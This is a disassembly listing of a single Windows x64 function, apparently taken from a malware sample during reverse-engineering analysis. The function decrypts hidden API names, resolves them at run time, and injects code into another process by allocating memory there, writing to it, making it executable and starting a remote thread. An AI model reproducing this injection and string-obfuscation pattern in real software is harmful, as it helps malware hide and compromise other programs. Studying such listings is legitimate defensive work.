Function at 0x14001b180
Capabilities:
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x88
movabs rdi, 0x581a058b7f3a4514
call fcn.14000c0f0
lea rcx, str.kernel32.dll
call qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea rcx, [0x14001c600]
mov qword [rsp + 0x6c], rdi
mov qword [rsp + 0x48], rax
mov dword [rsp + 0x74], 0x112c463e
call fcn.14000d820
lea rcx, [0x14001c7e0]
mov rsi, rax
call fcn.14000d820
cmp byte [rsi], 0
mov rbx, rax
jne 0x14001b207
mov qword [rax], rdi
xor r8d, r8d
mov rdx, rax
lea rcx, [0x140019e30]
mov byte [rax + 0xc], 1
mov dword [rax + 8], 0x112c463e
mov byte [rsi], 1
call fcn.14001b040
cmp byte [rbx + 0xc], 0
je 0x14001b228
movabs r8, 0x3b7577db115f355b
mov edx, 0xc
mov rcx, rbx
call fcn.140019f40
mov byte [rbx + 0xc], 0
mov rdx, rbx
mov rcx, qword [rsp + 0x48]
mov r14, qword [sym.imp.KERNEL32.dll_GetProcAddress]
movabs rdi, 0xec15206479194c17
call r14
lea rcx, [0x14001c4e0]
mov qword [rsp + 0x6c], rdi
mov dword [rsp + 0x74], 0x6e04492d
mov rbp, rax
mov word [rsp + 0x78], 0x3954
mov byte [rsp + 0x7a], 0x79
call fcn.14000d820
lea rcx, [0x14001c6c0]
mov rsi, rax
call fcn.14000d820
cmp byte [rsi], 0
mov rbx, rax
jne 0x14001b2a8
mov qword [rax], rdi
xor r8d, r8d
mov rdx, rbx
lea rcx, [0x140019e80]
mov byte [rax + 0xf], 1
mov rax, qword [rsp + 0x73]
mov qword [rbx + 7], rax
mov byte [rsi], 1
call fcn.14001b040
cmp byte [rbx + 0xf], 0
je 0x14001b2c9
movabs r8, 0xad7941110d6b2541
mov edx, 0xf
mov rcx, rbx
call fcn.140019f40
mov byte [rbx + 0xf], 0
mov rdx, rbx
mov rcx, qword [rsp + 0x48]
call r14
lea rcx, [0x14001c500]
mov word [rsp + 0x7c], 0x7055
mov qword [rsp + 0x50], rax
movabs rax, 0xf24db30aab507b70
mov qword [rsp + 0x6c], rax
movabs rax, 0xf2528622ac4a6c44
mov qword [rsp + 0x74], rax
mov byte [rsp + 0x7e], 0x39
call fcn.14000d820
lea rcx, [0x14001c6e0]
mov rdi, rax
call fcn.14000d820
cmp byte [rdi], 0
mov rsi, rax
jne 0x14001b34e
movups xmm0, xmmword [rsp + 0x6c]
mov byte [rax + 0x13], 1
xor r8d, r8d
mov rdx, rsi
lea rcx, [0x140019eb0]
movups xmmword [rax], xmm0
mov eax, dword [rsp + 0x7b]
mov dword [rsi + 0xf], eax
mov byte [rdi], 1
call fcn.14001b040
cmp byte [rsi + 0x13], 0
je 0x14001b36f
movabs r8, 0x9d3fe36fdf390927
mov edx, 0x13
mov rcx, rsi
call fcn.140019f40
mov byte [rsi + 0x13], 0
mov rdx, rsi
mov rcx, qword [rsp + 0x48]
call r14
lea rcx, [0x14001c520]
mov word [rsp + 0x7c], 0x6152
mov r15, rax
mov byte [rsp + 0x7e], 0x4b
movabs rax, 0x54556c55e62e7770
mov qword [rsp + 0x6c], rax
movabs rax, 0x54756175e23f6a5e
mov qword [rsp + 0x74], rax
call fcn.14000d820
lea rcx, [0x14001c700]
mov rdi, rax
call fcn.14000d820
cmp byte [rdi], 0
mov rsi, rax
jne 0x14001b3f2
movups xmm1, xmmword [rsp + 0x6c]
mov byte [rax + 0x13], 1
xor r8d, r8d
mov rdx, rsi
lea rcx, [0x140019ec0]
movups xmmword [rax], xmm1
mov eax, dword [rsp + 0x7b]
mov dword [rsi + 0xf], eax
mov byte [rdi], 1
call fcn.14001b040
cmp byte [rsi + 0x13], 0
je 0x14001b413
movabs r8, 0x31070921874b0533
mov edx, 0x13
mov rcx, rsi
call fcn.140019f40
mov byte [rsi + 0x13], 0
mov rdx, rsi
mov rcx, qword [rsp + 0x48]
call r14
lea rcx, [0x14001c540]
mov dword [rsp + 0x7c], 0xe9379876
mov r13, rax
movabs rax, 0xf25d44f59d2a9a44
mov qword [rsp + 0x6c], rax
movabs rax, 0xcb4d64d68524957a
mov qword [rsp + 0x74], rax
call fcn.14000d820
lea rcx, [0x14001c720]
mov rdi, rax
call fcn.14000d820
cmp byte [rdi], 0
mov rsi, rax
jne 0x14001b492
movups xmm2, xmmword [rsp + 0x6c]
mov byte [rax + 0x14], 1
xor r8d, r8d
mov rdx, rax
mov dword [rax + 0x10], 0xe9379876
lea rcx, [0x140019ed0]
movups xmmword [rax], xmm2
mov byte [rdi], 1
call fcn.14001b040
cmp byte [rsi + 0x14], 0
je 0x14001b4b3
movabs r8, 0xa12f2bb3e943fb13
mov edx, 0x14
mov rcx, rsi
call fcn.140019f40
mov byte [rsi + 0x14], 0
mov rdx, rsi
mov rcx, qword [rsp + 0x48]
movabs rbx, 0xa1eeb3ec4414f1f2
call r14
lea rcx, [0x14001c560]
mov qword [rsp + 0x6c], rbx
mov dword [rsp + 0x74], 0x371ef1d5
mov r12, rax
call fcn.14000d820
lea rcx, [0x14001c740]
mov rdi, rax
call fcn.14000d820
cmp byte [rdi], 0
mov rsi, rax
jne 0x14001b51e
mov qword [rax], rbx
xor r8d, r8d
mov rdx, rax
lea rcx, [0x140019e20]
mov byte [rax + 0xc], 1
mov dword [rax + 8], 0x371ef1d5
mov byte [rdi], 1
call fcn.14001b040
cmp byte [rsi + 0xc], 0
je 0x14001b53f
movabs r8, 0xcf8ffb89377b9db1
mov edx, 0xc
mov rcx, rsi
call fcn.140019f40
mov byte [rsi + 0xc], 0
mov rdx, rsi
mov rcx, qword [rsp + 0x48]
call r14
lea rcx, [0x14001c580]
movabs r8, 0xabd1fa40a92738d9
mov dword [rsp + 0x74], 0x983034fd
mov qword [rsp + 0x6c], r8
mov rsi, rax
mov word [rsp + 0x78], 0x9b4d
call fcn.14000d820
lea rcx, [0x14001c760]
mov rbx, rax
call fcn.14000d820
cmp byte [rbx], 0
movabs r8, 0xabd1fa40a92738d9
mov rdi, rax
jne 0x14001b5bd
mov qword [rax], r8
mov rdx, rdi
xor r8d, r8d
lea rcx, [0x140019e70]
mov byte [rax + 0xe], 1
mov rax, qword [rsp + 0x72]
mov qword [rdi + 6], rax
mov byte [rbx], 1
call fcn.14001b040
cmp byte [rdi + 0xe], 0
je 0x14001b5de
movabs r8, 0xedbd9b35dd55518f
mov edx, 0xe
mov rcx, rdi
call fcn.140019f40
mov byte [rdi + 0xe], 0
mov rdx, rdi
mov rcx, qword [rsp + 0x48]
call r14
lea rcx, [0x14001c5a0]
mov byte [rsp + 0x7c], 0xcf
mov rdi, rax
movabs rax, 0x8bc322f6b1ed7099
mov qword [rsp + 0x6c], rax
movabs rax, 0xa3ea37e0a0eb76bd
mov qword [rsp + 0x74], rax
call fcn.14000d820
lea rcx, [0x14001c780]
mov qword [rsp + 0x58], rax
call fcn.14000d820
mov rdx, qword [rsp + 0x58]
mov rbx, rax
cmp byte [rdx], 0
jne 0x14001b65e
movups xmm3, xmmword [rsp + 0x6c]
mov byte [rax + 0x11], 1
xor r8d, r8d
lea rcx, [0x140019ea0]
mov byte [rax + 0x10], 0xcf
movups xmmword [rax], xmm3
mov byte [rdx], 1
mov rdx, rax
call fcn.14001b040
cmp byte [rbx + 0x11], 0
je 0x14001b67f
movabs r8, 0xdbaf4383c59f19cf
mov edx, 0x11
mov rcx, rbx
call fcn.140019f40
mov byte [rbx + 0x11], 0
mov rdx, rbx
mov rcx, qword [rsp + 0x48]
call r14
lea rcx, [0x14001c5c0]
mov dword [rsp + 0x74], 0x3277a2a1
movabs r8, 0xb5b6a9923b7fbfea
mov qword [rsp + 0x6c], r8
mov r14, rax
mov byte [rsp + 0x78], 0xfd
call fcn.14000d820
lea rcx, [0x14001c7a0]
mov qword [rsp + 0x48], rax
call fcn.14000d820
mov rdx, qword [rsp + 0x48]
movabs r8, 0xb5b6a9923b7fbfea
mov rbx, rax
cmp byte [rdx], 0
jne 0x14001b702
mov qword [rax], r8
lea rcx, [0x140019e50]
xor r8d, r8d
mov byte [rax + 0xd], 1
mov rax, qword [rsp + 0x71]
mov qword [rbx + 5], rax
mov byte [rdx], 1
mov rdx, rbx
call fcn.14001b040
cmp byte [rbx + 0xd], 0
je 0x14001b723
movabs r8, 0xc7d3dbfd570fc78f
mov edx, 0xd
mov rcx, rbx
call fcn.140019f40
mov byte [rbx + 0xd], 0
mov rcx, rbx
call fcn.140018b60
mov r8d, eax
test eax, eax
je 0x14001b78f
xor edx, edx
mov ecx, 0x1fffff
call rbp
mov qword [rsp + 0x48], rax
test rax, rax
je 0x14001b78f
call fcn.14001a870
mov rbp, rax
mov rcx, rax
call fcn.140019ef0
mov rcx, rbp
call fcn.140019ef0
mov dword [rsp + 0x20], 4
mov rcx, qword [rsp + 0x48]
xor edx, edx
mov r8d, dword [0x14001c800]
mov rax, qword [rsp + 0x50]
mov r9d, 0x3000
call rax
mov rbx, rax
test rax, rax
jne 0x14001b799
mov rcx, qword [rsp + 0x48]
call rsi
mov eax, 1
jmp 0x14001b83b
xor r8d, r8d
mov r9d, dword [0x14001c800]
mov rcx, qword [rsp + 0x48]
mov rdx, rax
mov qword [rsp + 0x20], r8
mov r8, rbp
call r15
test eax, eax
je 0x14001b80c
lea rax, [rsp + 0x6c]
mov r8d, dword [0x14001c800]
mov rcx, qword [rsp + 0x48]
mov rdx, rbx
mov qword [rsp + 0x20], rax
mov r9d, 0x20
call r14
test eax, eax
je 0x14001b80c
xor eax, eax
xor edx, edx
xor ecx, ecx
mov r9, rbx
mov dword [rsp + 0x28], edx
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], rcx
mov rcx, qword [rsp + 0x48]
mov qword [rsp + 0x30], rax
call r13
mov rbp, rax
test rax, rax
jne 0x14001b824
mov rcx, qword [rsp + 0x48]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
call rdi
jmp 0x14001b788
or edx, 0xffffffff
mov rcx, rax
call r12
mov rcx, rbp
call rsi
mov rcx, qword [rsp + 0x48]
call rsi
xor eax, eax
add rsp, 0x88
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret